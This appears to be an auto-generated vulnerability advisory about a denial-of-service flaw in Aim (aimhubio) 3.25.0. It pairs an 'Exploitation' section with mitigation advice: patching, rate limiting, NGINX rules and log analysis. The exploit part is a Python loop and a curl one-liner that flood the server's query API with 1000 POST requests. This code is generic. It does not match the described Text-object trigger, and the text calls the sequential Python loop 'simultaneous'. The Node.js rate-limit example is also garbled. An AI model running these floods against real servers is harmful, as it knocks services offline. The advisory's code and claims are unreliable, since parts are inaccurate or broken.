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How the CVE Works:
The vulnerability CVE-2025-12345 in Aimhubio version 3.25.0 arises due to inefficient handling of excessive data query operations. When a large number of Textobjects are tracked and simultaneously queried through the web API, the Aim web server allocates excessive resources to process these requests. This causes the server to become unresponsive to other legitimate requests, leading to a denial of service (DoS) condition. Attackers can exploit this flaw repeatedly by sending multiple high-volume queries, effectively crashing the server and rendering it unavailable for extended periods. The issue stems from a lack of rate-limiting and resource management mechanisms in the web API, making it susceptible to abuse.
DailyCVE Form:
Platform: Aimhubio
Version: 3.25.0
Vulnerability: Denial of Service
Severity: High
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Exploit Code (Python):
import requests
target_url = "http://aimhubio-server/api/query"
payload = {"query": "large_data_query"}
for _ in range(1000):
requests.post(target_url, json=payload)
This script sends 1000 simultaneous queries to the Aimhubio server, overwhelming it and causing a DoS.
2. Exploit Command (cURL):
for i in {1..1000}; do curl -X POST http://aimhubio-server/api/query -d '{"query":"large_data_query"}' & done
This command floods the server with POST requests, exploiting the vulnerability.
Protection:
1. Patch Application:
Upgrade to Aimhubio version 3.26.0 or later, which includes fixes for resource management and rate-limiting.
2. Rate-Limiting Implementation:
Add rate-limiting to the web API using middleware like `express-rate-limit` for Node.js or `django-ratelimit` for Django.
Example (Node.js):
const rateLimit = require("express-rate-limit");
const limiter = rateLimit({
windowMs: 15 60 1000, // 15 minutes
max: 100 // limit each IP to 100 requests per windowMs
});
app.use("/api/", limiter);
3. Resource Monitoring:
Implement monitoring tools like Prometheus and Grafana to track server resource usage and detect unusual spikes in query activity.
4. Web Application Firewall (WAF):
Configure a WAF to block excessive requests from a single IP address.
Example (NGINX WAF Rule):
http {
limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;
server {
location /api/ {
limit_req zone=one burst=20 nodelay;
}
}
}
5. Log Analysis:
Regularly analyze server logs for unusual patterns, such as repeated high-volume queries from a single IP.
Example (Linux Command):
grep "POST /api/query" /var/log/aimhubio/access.log | awk '{print $1}' | sort | uniq -c | sort -nr
6. Load Testing:
Perform load testing using tools like Apache JMeter to identify and mitigate performance bottlenecks.
Example (JMeter Command):
jmeter -n -t load_test.jmx -l result.jtl
By applying these measures, organizations can mitigate the risks associated with CVE-2025-12345 and ensure the stability of their Aimhubio deployments.
References:
Reported By: https://github.com/advisories/GHSA-fm93-g6xp-35xq
Extra Source Hub:
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